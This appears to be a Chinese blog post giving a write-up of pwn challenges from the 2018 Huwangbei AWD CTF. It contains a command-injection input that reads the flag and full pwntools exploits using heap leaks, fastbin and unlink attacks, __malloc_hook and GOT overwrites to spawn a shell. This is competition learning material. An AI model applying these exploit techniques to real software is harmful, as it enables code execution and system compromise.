kir[A]'s 小黑屋

首届护网杯AWD PWN题writeup

字数统计: 2.4k阅读时长: 11 min
2018/11/06 Share

前言

上个月在护网杯打了个酱油,第一次打某宁的线下赛,风格跟某春秋差别还是挺大的,没什么端口限制,提flag接口也很友好,属于最开放的网络环境了,可以用各种大杀器(然而我没有准备= =|||)。比赛当时只用到了最简单的洞,虽然官方给了流量(队友不说我都没发现。。。),但是没啥经验,比赛的时候也没成功重放。总体来说题目质量不错,难得有攻击流量,赛后来学习一波吧~

shell

这题有一个超级简单的命令执行洞,直接ls后闭合命令就可以了,如/ && cat ../flag。另外还有一个堆的洞,网上有大神分析过,我就不写了,直接给EXP,原理差不多,漏洞利用方式略有不同而已。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
def msend(size,smsg):
p.sendlineafter('> ','send')
p.sendlineafter('send:',str(size))
p.sendafter('Content:',smsg)

def mrecv(size):
p.sendlineafter('> ','recv')
p.sendlineafter('recv:',str(size))

def mencode(size):
p.sendlineafter('> ','encode')
p.sendlineafter('encode:',str(size))

def mdecode(size):
p.sendlineafter('> ','decode')
p.sendlineafter('decode:',str(size))

msend(0x500,'aaaa')
mrecv(0x10)
msend(0x500,'a')
mrecv(0x10)
mencode(8)
mrecv(0x10)
mdecode(8)
libc.address = (u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00')) - 0x3c4b20 + 0xff) & 0xfffffffff000
msend(0x100,'bbbb')
mrecv(0x78) # 0x80
mrecv(0x68) # 0x70 fastbins
fake_fd = libc.sym['__malloc_hook'] - 0x23
payload = '\x00'*0x78 + p64(0x71) + p64(fake_fd) # len = 0x88
msend(0x100,payload)
mencode(0x88)
mrecv(0x78) # overwrite fastbins#0x70->fd
mdecode(0x88)
msend(0x68,''.ljust(0x13-8,'a')+p64(libc.address+0x4526a)+p64(libc.sym['__libc_realloc']+8))
mencode(0x20)
mrecv(0x68) # overwrite malloc_hook
mdecode(0x20)
p.sendlineafter('> ','send')
p.sendlineafter('send:',str(0)) # trigger malloc
p.interactive()

store

这题的复杂程度简直丧心病狂,在此膜一下腾讯的大佬,4小时的比赛能做出这题目。从流量来看,很多队伍都是重发腾讯的流量,还有一队是另一种解法,姿势也是很值得学习。这条题一堆的结构体,单是看程序逻辑都看了半天。大佬们都是风水大师,堆风水6得飞起。

程序分析

这题目的主要功能有两个,一个是操作cake的流程,一个是操作account的流程。其中需要关键操作(对账号操作,对蛋糕下单)需要admin权限,留意程序初始化生成了一个admin账号。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
unsigned __int64 init_admin()
{
unsigned __int64 v0; // ST08_8

v0 = __readfsqword(0x28u);
is_admin[0] = 1LL;
account_id[0] = 1LL;
user_db[0] = (struct user *)malloc(0x80uLL);
money[0] = 880LL;
strncpy(user_db[0]->name, "Admin", 8uLL);
strncpy(user_db[0]->password, "admin", 8uLL);
strncpy(user_db[0]->desc, "what ? this is cake ???", 0x58uLL);
return __readfsqword(0x28u) ^ v0;
}
  1. cake操作

几个重要的结构体如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
struct cake
{
char taste[8];
__int32 number;
__int32 code;
};

struct cake_list
{
char random_num[8];
int cake_number;
char cake_taste[8];
char cake_code[4];
};

struct cake_order
{
char taste[8];
__int32 number;
__int32 price;
char *desc; // 0x7c
};

购买cake的过程如下:

1
2
3
4
- add_to_list | malloc(0x18) 新增一个list
- order_cake | malloc(0x18) -> malloc(0x7c) -> free(0x18) 新增order及其desc,所有order完成后,从后往前清掉所有list
- cancel_list | free(0x18) 取消一个list
- buy | free(0x7c) -> free(0x18) -> malloc(0x4b0) 清除list的desc,清除list,新增一个desc

内存泄露漏洞点在,创建新cake_list的时候,没有初始化内存,生成的随机数只有一位,重新利旧bins的时候只会覆盖fd的最低位,打印cake_list信息的时候可以泄露地址。

1
2
3
4
5
6
7
8
9
new_cake_list = (struct cake_list *)malloc(0x18uLL);
v1 = random_();
sprintf(&s, "%d", v1);
strncpy(new_cake_list->random_num, &s, 1uLL);
new_cake_list->cake_number = cake[v3]->number;
strncpy(new_cake_list->cake_taste, cake[v3]->taste, 8uLL);
*(_DWORD *)new_cake_list->cake_code = cake[v3]->code;
cake_list[list_count++] = new_cake_list;
show_cake_list();
  1. account操作

结构体如下:(其中user_list存在bss段)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
struct user
{
__int64 unknown1;
__int64 unknown2;
char name[8];
char password[8];
__int64 used_tag;
char desc[88];
};

struct user_list
{
__int64 is_admin;
__int64 account_id;
struct user *user_data;
__int64 money;
};

account可以进行注册,删除,修改密码这3个操作:

1
2
3
- 注册:malloc(0x80)
- 删除:free(0x80),没有清空user_list内容
- 修改密码:修改user_data的password字段,8字节

存在一个明显的UAF,如果能控制user_data,就能任意地址写。

留意delete_account一个坑点,user删除之后,虽然不会清空user_data指针,但是指针-16了,本来创建一个0x20大小的chunk后,利用UAF可以很轻易地修改chunk size,现在需要将两个0x90的chunk拼起来再padding一堆0x20大小的chunk才能修改chunk size

1
2
3
4
5
6
7
8
if ( is_admin[4 * v3] == 3 )
{
is_admin[4 * v3] = 0LL;
user_data[4 * v3]->used_tag = 0LL;
printf("The account(%s) deleted success .\n", user_data[4 * v3]->name);
memset(user_data[4 * v3], 0, 0x80uLL);
free(user_data[4 * v3]);
user_data[4 * v3] = (struct user *)((char *)user_data[4 * v3] - 16); // 这里是坑

exp编写

解题方法一

首先需要泄露地址,方法很简单

  1. 创建一个新账号(chunk是一个unsorted bins
  2. 利用add_to_list创建一个新list
  3. 删掉这个账号
  4. 此时利用add_to_list创建一个新list就可以利旧刚刚free的user的chunk,unsorted binsfd就能泄露出来

gets hell方法是:使用unlink控制user_data指针,然后劫持got表,关键时如何构造fake chunk

这题目,可控制的输入点只有几个:

  1. 创建账号时输入的namepasswordprofile,然而删除的时候内存会清空,并没有什么用
  2. 下order时输入的desc,这个比较好用长度有0x7c
  3. 购买cake后输入的desc,这个输入长度有0x4b0,也很好用

构造关键点:

  1. 由于上面提到delete_account的坑,需要将两个0x90的chunk,连在一起使用,才能修改Chunk size
  2. 程序没有double free和堆溢出,需要使allocated chunkfree chunk重叠

构造步骤如下:

  • 创建一个新账号 chunk 0x90
  • 创建一个新list0 chunk 0x20
  • 创建一个新order0 chunk 0x20 chunk 0x90 (会删除list0 free 0x20
  • 创建一个新账号 chunk 0x90
  • 创建两个新list0,list1 chunk 0x20 chunk 0x20
  • 删除list0 free 0x20
  • 删除user2 free 0x90
  • 创建一个新order1 chunk 0x20 chunk 0x90(会删除list1 free 0x20
  • 创建两个新list0,list1 chunk 0x20 chunk 0x20
  • 删除user3 free 0x90
  • 购买order0 free 0x90 free 0x20 chunk 0x4c0
1
2
3
4
5
6
7
8
allocated 0x90 #user2 => order1[desc]
allocated 0x20 #list0 => list0 => order1
freed 0x20 #order0
freed 0x90 #order0[desc]
freed 0x90 #user3
allocated 0x20 #list1 => list0
allocated 0x20 #list1 => list1
allocated 0x4c0#desc0

此时,3个freed chunk会合并一起为一个unsorted bins,继续创建新list2-8。这时候,发现修改user3password,可以修改list8size,如果把size修改为0x581(0x4c0+0x20+0x20+0x80),那么删除list8,就能把下面一整片的内存都free掉,top chunk被抬高。

继续删掉list4-7,然后下order时,会创建desc,会从top chunk处开始分配内存,这个chunk的最后16字节,刚好覆盖到list0chunk head,经过精心构造,删除list0的时候就可以触发unlink

观察一下当前heap的结构,list0前面可控的chunkorder1[desc],可以在这里构造fake chunkp64(&p-0x18)+p64(&p-0x10)。将list0chunk head改为p64(0x1f0)+p64(90),同时下一块chunk需要补两个allocated chunk,可以在desc0中预留。

完整exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
def login(newID='',newPWD='',newDESC='',reg=0):
if reg:
p.sendafter('> ','12345')
p.sendafter('> ','12345')
p.sendafter('Register Your User?\n','0')
p.sendafter('Enter your New ID.\n',newID)
p.sendafter('Enter your New Password.\n',newPWD)
p.sendafter('Enter your profile.\n',newDESC)
else:
p.sendafter('> ','Admin')
p.sendafter('> ','admin')

def logout():
p.sendafter('Command : ','9')
p.sendafter('sign out?\n','0')

def order_menu():
p.sendafter('Command : ','4') # enter order menu

def exit_order_menu():
p.sendafter('Command : ','5') # exit order menu

def add_to_list(code):
p.sendafter('Command : ','2')
p.sendafter('>',str(code))

def order_cake(price,desc):
p.sendafter('Command : ','4')
p.sendafter('0) Yes, 1) No\n','0')
for i in range(len(desc)):
p.sendafter('Enter the price',str(price[i]))
p.sendafter('Enter a description',desc[i])

def cancel_list(idx):
p.sendafter('Command : ','3')
p.sendafter('\n',str(idx))

def account_menu():
p.sendafter('Command : ','5')

def exit_account_menu():
p.sendafter('Command : ','3')

def delete_accont(idx):
p.sendafter('Command : ','1')
p.sendafter('delete\n',str(idx))

def change_password(idx,pwd):
p.sendafter('Command : ','2')
p.sendafter(' change PW\n',str(idx))
p.sendafter('New Password.\n',pwd)

def buy_cake(code,number,desc):
p.sendafter('Command : ','2')
p.sendafter('be purchased.\n',str(code))
p.sendafter('to purchase.\n',str(number))
p.sendafter('comment for cake.\n',desc)

login('aaaa','aaaa','aaaa',reg=1)
login()
order_menu()
add_to_list(0) #0
order_cake([1],['1111'])
exit_order_menu()
logout()
login('bbbb','bbbb','bbbb',reg=1)
login()
order_menu()
add_to_list(1) #0
add_to_list(2) #1
cancel_list(0)
exit_order_menu()
# delete account 'aaaa' -> unsorted bins
account_menu()
delete_accont(2)
exit_account_menu()
# leak libc address
order_menu()
user2_data = 0x604210
order_cake([0],[p64(user2_data-0x18)+p64(user2_data-0x10)])
add_to_list(1) #0
add_to_list(2) #2
exit_order_menu()
account_menu()
delete_accont(3)
exit_account_menu()
payload = p64(0)*8+p64(0)+p64(0x21)+p64(0)*3+p64(0x21)
buy_cake(0,10,payload)
order_menu()
add_to_list(3)
libc.address = (u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00')) - 0x3c4b20) & 0xfffffffff000
add_to_list(4) #3
add_to_list(5) #4
add_to_list(6) #5
add_to_list(7) #6
add_to_list(8) #7
add_to_list(9) #8
exit_order_menu()
account_menu()

change_password(3,p64(0x581)) # overwite list[0] chunk size
exit_account_menu()
order_menu()
for i in range(8,3,-1):
cancel_list(i)
payload = p64(0)*14+p64(0x1f0)+p32(0x90)
order_cake([1,1,1],[payload,'1','1'])
exit_order_menu()
account_menu()
change_password(2,p64(elf.got['strlen']-0x18))
change_password(2,p64(libc.sym['system']))
exit_account_menu()
logout()
p.send('/bin/sh\x00')
p.send('/bin/sh\x00')
p.interactive()

解题方法二

泄露地址方法给上面一样,不过这次还需要泄露heap地址,可以通过泄露fastbinsfd地址计算。上面提到UAF修改chunk size比较麻烦,不过可以修改smallbinsbk。过程很复杂,不想写了,具体过程动态调试看吧。

思路是控制smallbinsbk,指向构造的两个假smallbins,假的smallbins内存空间与其他已使用的chunk重叠,可以修改其他chunk head制造触发unlink的条件。

完整EXP:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
login()
order_menu()
add_to_list(0)
add_to_list(1)
order_cake([0,0],['AAAA','BBBB']) # 0 1
exit_order_menu()

buy_cake(0,10,'CCCC') # 1

order_menu()
add_to_list(0)
libc.address = (u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00')) - 0x3c4b20) & 0xfffffffff000
add_to_list(0)
add_to_list(2)
order_cake([0,0],['DDDD','EEEE']) # 2 3
add_to_list(3)
heap_addr = u64(p.recv(0x48)[0x23:0x23+4].strip().ljust(8,'\x00')) & 0xfffffffff000
order_cake([0],['FFFF']) # 4
add_to_list(4)
exit_order_menu()
logout()

login('aaaa','aaaa','aaaa',reg=1) # user2
login('bbbb','bbbb','bbbb',reg=1) # user3

login()
buy_cake(0,10,'GGGG') # 2 3 4

account_menu()
delete_accont(2)
exit_account_menu()

order_menu()
payload = 'A'*48+flat(0,0x91,heap_addr+0xe50,0,0,0x91,heap_addr+0xdf0,heap_addr+0xe30)
order_cake([0],[payload]) # 5
exit_order_menu()

buy_cake(3,10,'HHHH') # 1 2 4 5

account_menu()
change_password(2,p64(heap_addr+0xe50)) # overwrite bk
exit_account_menu()

order_menu()
add_to_list(5)
user2_data = 0x604210
order_cake([0],[p64(user2_data-0x18)+p64(user2_data-0x10)])
exit_order_menu()

buy_cake(0,20,'IIII')

account_menu()
change_password(2,p64(user2_data-0x10)) # fix bk
exit_account_menu()

order_menu()
add_to_list(6)
payload = 'A'*0x20 + p64(0x90) + p64(0x90) # 5e0
order_cake([0],[payload])
exit_order_menu()

account_menu()
delete_accont(3) # unlink
change_password(2,p64(elf.got['atoi']-0x18))
change_password(2,p64(libc.sym['system']))
p.send('sh')
p.interactive()

后记

第一次分析pwn的题流量,真难受死了,只有输入的流量,没有回显。果然pwn手都比较单纯,没有混淆流量,不像web,一大堆wangyihang的fake requests[捂脸]。web题估计没时间复现了,搞这题store用了我好几张A4纸,真是累死了。。。。。。

CATALOG
  1. 1. 前言
  2. 2. shell
  3. 3. store
    1. 3.1. 程序分析
    2. 3.2. exp编写
      1. 3.2.1. 解题方法一
      2. 3.2.2. 解题方法二
  4. 4. 后记